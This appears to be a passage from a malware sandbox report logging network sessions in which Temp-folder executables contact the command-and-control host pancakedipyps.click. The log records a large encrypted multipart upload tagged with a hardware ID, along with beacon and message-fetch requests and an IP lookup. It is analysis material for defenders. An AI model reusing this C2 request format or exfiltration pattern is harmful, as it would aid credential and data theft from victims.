2024-12-23 16:16:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:16:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49725	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:33 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4MSEE8L25ME8MO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587215 Host: pancakedipyps.click
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: 2d 2d 34 4d 53 45 45 38 4c 32 35 4d 45 38 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 4d 53 45 45 38 4c 32 35 4d 45 38 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 4d 53 45 45 38 4c 32 35 4d 45 38 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 34 4d 53 45 45 38 4c 32 35 4d Data Ascii: --4MSEE8L25ME8MOContent-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--4MSEE8L25ME8MOContent-Disposition: form-data; name="pid"1--4MSEE8L25ME8MOContent-Disposition: form-data; name="lid"FATE99--dec--4MSEE8L25M
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: bf 05 8d a7 4c b7 c5 92 6f 8d 7a 2d da 0c 93 ed 34 bb c9 ad bb c7 e1 f4 f6 c5 ae 0d 0a 2a 12 04 a1 c2 4b b0 9a 8d d9 19 da 0b 5f 8f 70 35 e3 cc f0 0b 24 77 7d a8 4f 75 06 1c 84 b2 c8 d0 cd 0f 52 f4 83 71 b3 16 69 d1 5a 34 a5 c5 dd 76 1f b6 a6 fc 7c e3 cb 3b 25 d3 9a 0c a8 7a 7a d0 e8 b6 4a 67 a4 f4 fc 45 ab 4f 4f 28 9b 6f 17 4c 22 8e 45 df 9f d9 d3 a6 0f a1 e7 c8 af b4 a1 ea 16 d7 04 c8 03 25 bd 40 ad 40 50 bb f6 34 f4 48 02 ec d0 e1 c9 d3 77 3f 8f c7 3d bb 17 d6 fd 17 53 43 ba 06 d8 fc a9 be 63 cc f7 ea da 7c 10 fd 35 f9 e4 ed d3 5c 4d 03 5d 75 0a fd bd bb d2 67 5a ce 10 05 d2 ec b0 40 90 c5 cf 28 c2 b0 76 9e 16 5b 8f 3a ff cb 75 cf 5f ff 6c 89 46 c3 62 fc 10 fd d6 e0 43 66 81 24 a3 b2 cd 78 da cc b9 6e 51 22 8b be fb 7c 2f 2d 9e 33 c3 7c fb 67 0f 01 63 Data Ascii: Loz-4*K_p5$w}OuRqiZ4v\|;%zzJgEOO(oL"E%@@P4Hw?=SCc\|5\M]ugZ@(v[:u_lFbCf$xnQ"\|/-3\|gc
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: 82 38 cb 53 b6 e4 64 f8 be c3 fc 98 0e 6e 20 b7 b8 06 d3 23 81 fd 2e 22 6d 1f cb 3f b1 f6 9b 90 06 88 e8 68 14 3c b3 5e 2a 44 24 6f df 78 88 5d dc 7d aa 9b d9 36 84 ec bc 27 ed cd b7 4d df 76 85 b0 89 12 e0 f1 dd 40 23 5b 54 d3 75 12 6c 16 2b 64 56 57 d8 6e da 64 ac 8e 1a 35 38 ae 17 6b fc e2 0e 73 e4 77 a1 61 d8 fc 81 4a 8a dd 6e 04 55 19 27 ad ca f3 7d 36 c7 58 b3 79 67 ce cd d4 4f d8 84 95 15 fc eb a1 e5 d0 7f 6f ba 9e 46 84 27 20 88 33 85 5b 94 09 8b d3 0c 8a 0b ca bf e6 08 fa d6 51 00 14 57 bf 4e 0e c6 a8 16 9e 1c 75 9e 61 5f 21 07 c2 14 ef 9e dd 0b ba 79 85 77 3d 74 3c df f0 8b 39 39 55 6a 61 58 4e a1 6b 17 2b ef cc f7 0b 80 33 14 f6 2b 25 53 24 e3 6d 5e 51 21 74 d3 24 d6 e2 d5 88 87 54 ee c6 67 fd ff 03 31 e1 5c e0 22 c9 2e 47 82 3b a3 1b ff f7 8c Data Ascii: 8Sdn #."m?h<^*D$ox]}6'Mv@#[Tul+dVWnd58kswaJnU'}6XygOoF' 3[QWNua_!yw=t<99UjaXNk+3+%S$m^Q!t$Tg1\".G;
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: 01 2a bd e8 21 da 9a 73 e7 f8 52 d2 45 12 4f 0a 92 09 9d f1 92 f3 60 7f 9e 51 b0 05 74 f9 53 0a 71 e5 a3 bf 8d 1e 8e 6f 74 3f af da f8 a7 fc a9 e9 7b 65 30 4a dd f1 12 e6 79 6d 0f 57 d5 c4 fa d2 45 2b 0f d2 2e 99 a6 6d d3 e1 d7 b5 33 b5 89 30 78 fb d4 d1 f2 c6 3b 5b 1e 18 aa 20 40 c7 08 b3 68 65 fb b6 d1 af c7 ec 1a 4e b0 9f fe ab 71 69 12 8e d1 cc d1 d2 b9 27 c2 89 38 4c df 09 72 b9 e1 30 d4 b7 f4 49 b8 91 b7 60 eb 8f cc c3 d0 78 f5 d4 79 9a 7a 93 70 0f da 96 e0 d3 83 e4 29 7a 45 5d 28 88 7e a9 d0 33 21 8b 2d 3b 40 fd f1 38 8f 56 a8 0d ec 56 c6 97 dd de d4 62 bf ec 05 45 06 57 1f 75 0c 16 ee e6 3a 0b 42 5e e9 83 85 ce ed b7 10 61 80 ba 32 ae 48 d3 71 f9 af 58 24 16 a9 c1 ba 21 6f 1d 9c 7f 76 30 55 f3 5f c3 95 33 87 5d e3 2d c7 c0 a5 35 a7 63 f2 82 77 cf Data Ascii: *!sREO`QtSqot?{e0JymWE+.m30x;[ @heNqi'8Lr0I`xyzp)zE](~3!-;@8VVbEWu:B^a2HqX$!ov0U_3]-5cw
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: ae af 24 01 8d 4e 20 0b cb e1 93 43 08 34 59 1e 14 75 67 54 dc 8e d7 41 2e f7 55 57 17 f5 29 a2 16 8b ca 74 d5 d7 3c 9a 8c 4c 77 59 16 51 17 9f 4c 01 7e 88 94 18 d2 73 0b 5b ce c1 4c 53 76 83 d1 f2 50 d2 f4 cc e9 71 e7 6c 48 d2 42 42 e6 84 02 fe 70 69 83 a4 86 22 23 66 e7 9a 6c 32 3d 3e fd 44 7f 50 b9 0e 5e 8b 0b 12 8c b5 b7 31 c9 98 73 cb d1 90 0b 0d 0f 98 42 9c d1 14 3f 66 63 69 67 a9 ac c7 99 10 90 ea 86 c1 91 ca 68 93 07 eb 67 09 b9 c6 a4 fe 3e 0f ff 4f c8 bd c9 78 62 ab 43 2a 44 5f a4 2d 29 68 b4 59 10 f5 12 59 64 86 92 dc c5 e8 28 cd 87 ab a0 38 99 74 b8 3e 48 0c 2c c9 c6 11 a3 bc 01 c4 11 e5 15 9e f1 1a c3 bf 8c 23 99 07 bd 6f f1 28 e7 08 4b 96 b6 5b f8 f3 2c 4d 60 5e 46 c7 c3 2d 33 85 28 26 17 5a 72 c8 6e e4 a3 7e 74 6b 5e a4 83 bf 82 9f 53 f6 7b Data Ascii: $N C4YugTA.UW)t<LwYQL~s[LSvPqlHBBpi"#fl2=>DP^1sB?fcighg>OxbC*D_-)hYYd(8t>H,#o(K[,M`^F-3(&Zrn~tk^S{
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: 81 cc 4a a1 5f eb f2 17 36 95 45 94 ec 7f 70 fb 8c f1 3a 01 db 20 46 9e c0 0f 97 5a 5b cf 4c df 31 d6 eb 8d 4b 17 b0 7d 30 5f 6e 59 66 70 ed 60 bb 0e 75 48 0d 56 7f e6 d7 3e 65 87 cb d4 26 7e 7e 2c e5 3b f3 5a f4 88 28 49 01 7b 4d 4f 20 79 56 5d 04 6d 83 dd 2c a7 70 e1 4e 51 b2 18 ce 07 2b c4 78 52 c9 59 f4 68 ba de 68 e8 95 40 4d ef 60 3f ad 99 59 fd ab e3 1b 49 ee 26 03 9b d4 ec 04 92 42 4d 13 29 f9 4e 15 49 1e 7e d9 49 72 89 e5 26 71 ea e5 5f 6d 48 4c 70 46 46 a1 63 81 2a 88 0b 4d 55 07 f5 06 82 49 59 30 fb 89 00 e2 ef 7d 38 4d 20 93 2b c1 1d 05 2a c2 fe 56 ed 91 37 eb 2e 86 42 e9 80 f1 4c ac 1e 62 e4 fa 01 97 6d b1 0f b4 ba ba 21 8a 2e 69 97 fc 52 c2 3f db b7 a8 d0 e4 84 98 1f 96 54 67 24 8e f9 50 fc fe 1a 4f c3 88 05 9f dd 6c 72 db cb e8 20 d5 1c a2 Data Ascii: J_6Ep: FZ[L1K}0_nYfp`uHV>e&~~,;Z(I{MO yV]m,pNQ+xRYhh@M`?YI&BM)NI~Ir&q_mHLpFFcMUIY0}8M +V7.BLbm!.iR?Tg$POlr
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: e9 da 8c cf 57 db 21 fb 16 9f 9c 5a ad 06 5a 6f d0 8b 01 e7 b3 31 99 0d 31 3b 0d 79 a8 6f b5 e2 be a7 62 84 e7 ac 41 da 4a 54 4e 61 09 66 e1 49 25 64 13 84 84 c9 6f 10 ba fa 00 ca bb 48 0e 01 f3 3d 65 82 77 90 f1 be 7e 5d cc 1a e2 d7 86 ea 94 70 db 38 a2 75 e6 19 b2 0a af 1f 96 09 7e 2c d9 e1 f3 8e 50 60 52 89 00 85 da 86 55 57 6d 54 77 8f 1a 5f fe 59 41 d3 90 a7 44 90 8c 97 4f 98 ce 45 f6 59 ed d9 61 1e f6 66 53 fb 0b 09 b7 a9 f8 20 0f 6f c9 e5 77 c0 b6 3b 56 71 e6 97 f1 db 4a 8c 01 4a 2c 09 87 23 b2 94 53 fd 31 2f 36 39 7d 35 c6 63 cd c8 7a dd 6b 7e 3e 82 31 83 8c 98 2e d4 ad 66 10 86 60 74 ec 2d 57 50 17 91 31 1a 88 c4 94 33 f8 d5 b6 a5 44 cd d3 55 69 d6 24 33 74 cb dd c8 2c b1 ad 19 aa 49 7e e5 d2 bd d5 00 1e ea b1 40 99 c7 92 0b 4e 76 fa 9c 8a 78 e3 Data Ascii: W!ZZo11;yobAJTNafI%doH=ew~]p8u~,P`RUWmTw_YADOEYafS ow;VqJJ,#S1/69}5czk~>1.f`t-WP13DUi$3t,I~@Nvx
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: 72 6b c4 08 ea 5e 2f 0a ec 24 52 b4 17 91 ee db c0 bd 27 97 40 0e ac 8d e6 af 43 f0 34 91 22 b2 fe 6d 3b 70 20 85 58 74 fe 69 c6 f4 16 07 7b ea 60 4d 6c ea 9f c0 41 06 7d 3d 5b ba 7d 12 0d f6 0b 39 a1 41 ef 11 d8 0e d8 0e 0d 26 7d 40 e5 4a 63 cf 7e a1 fd 18 72 77 0e 9f 6e 97 00 d7 b8 c9 db b8 4f fd 6b 90 2e 22 08 bb 56 8a 28 34 72 8c 8c e4 79 ed c3 aa 31 dd ea 49 ac e6 71 d4 76 66 dc 65 55 08 20 1a e2 29 2a c4 b4 5b 1a 08 61 90 84 b3 55 7d 9e 81 96 17 21 03 44 51 ed 6c 2c 2e 49 41 aa f4 28 c8 91 10 18 c7 86 9c 44 58 fb ee f5 4a 5b f9 bf d4 a5 9e d9 d9 f6 87 8b 00 13 e6 df 9c 09 f9 76 07 ea 0f 2e d9 b8 79 f5 c6 19 bb 42 ff 8d d7 16 2d a4 bd 8b 1b 13 98 be e1 97 fb 58 f2 78 09 20 f8 de 7b 28 35 21 31 47 60 30 0c 08 4d 26 c4 07 5d 5a c3 55 28 ba 02 ff 0c c8 Data Ascii: rk^/$R'@C4"m;p Xti{`MlA}=[}9A&}@Jc~rwnOk."V(4ry1IqvfeU )*[aU}!DQl,.IA(DXJ[v.yB-Xx {(5!1G`0M&]ZU(
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: d7 7a ff d4 e6 9e ac ae 41 20 2f ca 1e 13 69 df 8f 93 79 46 e8 89 10 e6 c9 8b bf 42 e2 98 92 73 02 df ba 25 11 97 24 c1 1c 02 c3 5d ff 5a cf 25 6f 7c 6b 3e 97 99 16 61 0c 0c 11 66 c6 59 4d e4 47 41 b8 a9 21 a7 a1 4c ed d5 ae 5f a3 3c dd 25 13 11 d1 f9 26 af be b9 44 4d 26 0c 4b e7 bf 73 ff 56 84 c6 46 b1 a4 5e 00 d1 78 e3 14 df 66 cb 21 85 eb 95 45 35 26 32 9d 21 95 f5 cd f2 ff 7b c0 4f 00 29 da 82 37 ed c5 b2 10 39 bd ee 96 1b 86 48 a6 cf 91 88 8f aa 60 ca 7e ab 1b f3 0d 00 67 64 51 96 6f 6f da 52 8b 91 34 9b a2 0e af 65 2b 0f 8f 1f 4f f1 42 eb 8e 77 40 44 f2 13 f3 fb d6 07 65 89 37 5c b6 cc 3c 84 59 47 b4 0f cb cb 2b d3 45 80 b6 8a c0 64 12 02 e5 81 ff 13 60 03 24 11 9a e0 83 04 53 1d 18 f8 4d b8 fd 8d 00 76 9d af 73 a8 d3 3f 97 5d fc c0 f7 8d 98 11 8d Data Ascii: zA /iyFBs%$]Z%o\|k>afYMGA!L_<%&DM&KsVF^xf!E5&2!{O)79H`~gdQooR4e+OBw@De7\<YG+Ed`$SMvs?]
2024-12-23 16:16:33 UTC	15331	OUT	Data Raw: 76 e3 c6 9f 26 24 3c 48 52 00 cc b3 58 83 6e 50 e8 d3 a1 eb ad e7 77 c5 b1 df 00 e1 ef 5d c1 2c 38 52 f7 ad 53 18 bc 72 a2 8b f0 ae 49 cc fc 50 4f a5 45 d1 44 80 1d 2c 09 70 94 24 6a 4b 0d e3 2f 29 62 62 be a9 3f ff 48 d2 2e b6 e1 21 fe 69 2a c7 6c 82 57 7b bf 89 89 58 d7 53 a6 17 d9 5c 37 27 2b bd 7d 6e a4 03 81 c9 57 d2 51 00 d7 e9 3f db f3 b7 47 21 14 52 b1 93 9b 35 92 38 89 8a 16 01 7a 36 c7 b0 06 4b e3 98 0a 00 8a dc 04 bb 3a 29 81 29 44 4e 27 33 c6 78 ba 73 89 20 89 99 48 c4 21 e6 22 15 71 21 d4 17 ba 49 44 5c 3e c9 70 9d 88 86 71 9d 7b 98 02 8f 5f 65 40 39 20 26 71 35 41 69 3a b3 63 1f fb 73 83 f6 0b 5d c8 51 04 a1 2a 21 b6 07 e4 59 73 93 75 79 1f 56 6b e5 6e 63 e7 8a 40 4b 5d e8 38 37 f7 2e a6 53 b2 c2 c4 90 df 2e f0 4a b5 c9 04 35 46 80 25 d1 9a Data Ascii: v&$<HRXnPw],8RSrIPOED,p$jK/)bb?H.!ilW{XS\7'+}nWQ?G!R58z6K:))DN'3xs H!"q!ID\>pq{_e@9 &q5Ai:cs]Q!YsuyVknc@K]87.S.J5F%
2024-12-23 16:16:37 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ccg5f7jtrk3p46lusebi9nmib; expires=Fri, 18 Apr 2025 10:03:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nrQh80lGKNk4mEOpHbKsBmqHaCyRnbXZ5tnltv0JSBYqunkEbP8Y49xv3s2SWtGKS9afuZfvfC%2BSxFFL9VssPwged0OwSYuB9uu0dvwcznybcfr%2BdgznKXAZXcG988hjiWkIwtz0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a81fdad08c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1985&min_rtt=1985&rtt_var=992&sent=353&recv=621&lost=0&retrans=1&sent_bytes=4238&recv_bytes=589805&delivery_rate=191349&cwnd=217&unsent_bytes=0&cid=dc2a67298ed74172&ts=4526&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49729	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:39 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: pancakedipyps.click
2024-12-23 16:16:39 UTC	80	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 64 65 63 26 6a 3d 26 68 77 69 64 3d 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--dec&j=&hwid=EBB0969B53AB2898AC8923850305D13E
2024-12-23 16:16:39 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ga4qohn333js3k3ti9v1reqkgj; expires=Fri, 18 Apr 2025 10:03:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qN5rVJyuIOLobVGSKha81p6oXWOTyGujSojckpRRRLkebHeasQ%2BG%2F%2BOoGxPBC0Vg4o%2FpeUv1a3lg58kC4YnqynJIwwRhh69rTN4QK7nfnLzbHoyaI2RwBBzTp86vPbh265sOzbtP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a846b920c344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3927&min_rtt=1593&rtt_var=2147&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=983&delivery_rate=1833019&cwnd=215&unsent_bytes=0&cid=075b35b5d0a5f230&ts=802&x=0"
2024-12-23 16:16:39 UTC	54	IN	Data Raw: 33 30 0d 0a 49 6b 2b 39 39 4f 42 62 68 58 59 4f 57 36 35 66 54 51 36 6a 44 62 33 6b 6b 46 6d 41 4b 36 44 51 4a 2f 41 4b 50 66 43 32 6f 79 4a 35 45 67 3d 3d 0d 0a Data Ascii: 30Ik+99OBbhXYOW65fTQ6jDb3kkFmAK6DQJ/AKPfC2oyJ5Eg==
2024-12-23 16:16:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49770	34.226.108.155	443	6940	C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:17:42 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-23 16:17:42 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:17:42 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-23 16:17:42 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.9	49824	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:25 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-23 16:18:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 16:18:25 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=utvd6colb45hph5gvoo3baqpqo; expires=Fri, 18 Apr 2025 10:05:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7ktU82a8eWZ9%2BN%2FffAxIO%2BXdkTdO3WZLDnx6lKeMdtJ24tFIKcxje1Nl7MTZxSoGVEm%2FSplrB4p9OC%2FlCwUf562kbSXXaXjZdF4BgreP%2FlXFHAKiQFLr8NBuE%2Fxt19G%2FzbiMcP1O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69aadc198bf78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1462&rtt_var=573&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1870595&cwnd=137&unsent_bytes=0&cid=d0666efc8f00fff3&ts=896&x=0"
2024-12-23 16:18:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 16:18:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.9	49830	172.67.209.202	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:18:28 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-23 16:18:28 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-23 16:18:29 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=05utqr5mkfiglol3qdn0o43oqu; expires=Fri, 18 Apr 2025 10:05:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=McWsudnMJCpu5mnOiA506FJnWtANnB7VbZF9CATN1CRpSA5MlduzMlvpjYAu7g%2FE%2BQ7h1MjkHGg0ybKAipnoWhFB5LkgX%2BCA2W2vRC6O2eVc64iME7sGXlrsnXTq5AzlYxxFQWiT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69aaefccfd4225-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1631&rtt_var=772&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1284080&cwnd=235&unsent_bytes=0&cid=8e917506cd70c5a4&ts=1364&x=0"
2024-12-23 16:18:29 UTC	243	IN	Data Raw: 34 39 31 63 0d 0a 75 67 32 34 4a 58 7a 4c 43 47 66 76 67 6c 62 4e 44 4a 71 30 50 72 36 57 68 32 56 74 31 63 78 4f 42 6e 6b 71 73 4b 77 71 70 67 72 42 4c 38 34 48 52 76 38 6b 52 5a 7a 6e 64 50 64 34 36 4d 46 62 6b 72 54 6d 41 55 2f 76 71 69 39 71 43 6b 2b 63 6a 6c 7a 4c 4b 49 42 72 32 55 6b 50 72 69 52 46 69 76 70 30 39 31 66 68 6c 6c 76 51 74 4c 31 48 43 4c 2b 75 4c 32 6f 62 53 39 76 44 57 73 70 70 30 6d 48 66 54 52 6d 6f 62 41 61 44 37 7a 4f 6f 61 66 76 65 55 4e 66 37 37 77 68 50 2b 65 34 72 66 46 73 51 6b 75 46 50 30 6d 76 33 62 4d 74 4f 58 72 59 6b 48 4d 33 6e 4f 4f 38 32 75 4e 56 62 33 50 72 68 41 51 61 39 70 43 5a 69 47 6b 37 61 33 45 50 41 59 74 4a 76 33 45 77 54 6f 58 67 4c 69 65 67 34 72 6d 50 37 6c 68 4b 63 38 Data Ascii: 491cug24JXzLCGfvglbNDJq0Pr6Wh2Vt1cxOBnkqsKwqpgrBL84HRv8kRZzndPd46MFbkrTmAU/vqi9qCk+cjlzLKIBr2UkPriRFivp091fhllvQtL1HCL+uL2obS9vDWspp0mHfTRmobAaD7zOoafveUNf77whP+e4rfFsQkuFP0mv3bMtOXrYkHM3nOO82uNVb3PrhAQa9pCZiGk7a3EPAYtJv3EwToXgLieg4rmP7lhKc8
2024-12-23 16:18:29 UTC	1369	IN	Data Raw: 2f 31 48 56 2f 66 39 48 6d 63 4b 57 63 66 44 57 4d 49 6f 78 79 48 44 42 78 6d 6c 4b 6c 33 4e 36 44 69 68 61 2f 76 5a 57 39 33 30 39 77 67 50 74 4b 59 6b 59 42 46 48 33 63 46 47 7a 6d 2f 51 5a 74 31 49 47 61 46 73 43 6f 36 67 65 75 39 70 34 4a 59 45 6e 4e 54 31 42 41 79 6a 6f 7a 30 6b 42 41 62 4c 6a 6b 2f 49 4b 49 41 76 33 45 6b 66 70 47 6f 58 68 65 73 2f 71 6e 7a 7a 33 31 48 52 39 4f 67 4e 41 4c 53 75 4b 32 34 52 52 39 6a 4b 52 63 6c 75 32 47 2b 61 43 56 36 75 63 6b 58 56 6f 42 65 71 66 76 2f 61 53 70 37 4f 70 52 68 42 72 75 34 72 61 46 73 51 6b 73 5a 4e 78 32 76 54 59 4e 6c 50 46 62 74 71 46 34 76 74 4d 62 31 6f 2f 64 68 57 33 2b 62 76 43 51 6d 30 70 79 64 74 48 6b 2f 57 6a 67 61 45 62 38 41 76 67 67 63 2f 70 47 45 4a 68 2f 63 30 37 33 47 32 7a 78 7a 62 Data Ascii: /1HV/f9HmcKWcfDWMIoxyHDBxmlKl3N6Diha/vZW9309wgPtKYkYBFH3cFGzm/QZt1IGaFsCo6geu9p4JYEnNT1BAyjoz0kBAbLjk/IKIAv3EkfpGoXhes/qnzz31HR9OgNALSuK24RR9jKRclu2G+aCV6uckXVoBeqfv/aSp7OpRhBru4raFsQksZNx2vTYNlPFbtqF4vtMb1o/dhW3+bvCQm0pydtHk/WjgaEb8Avggc/pGEJh/c073G2zxzb
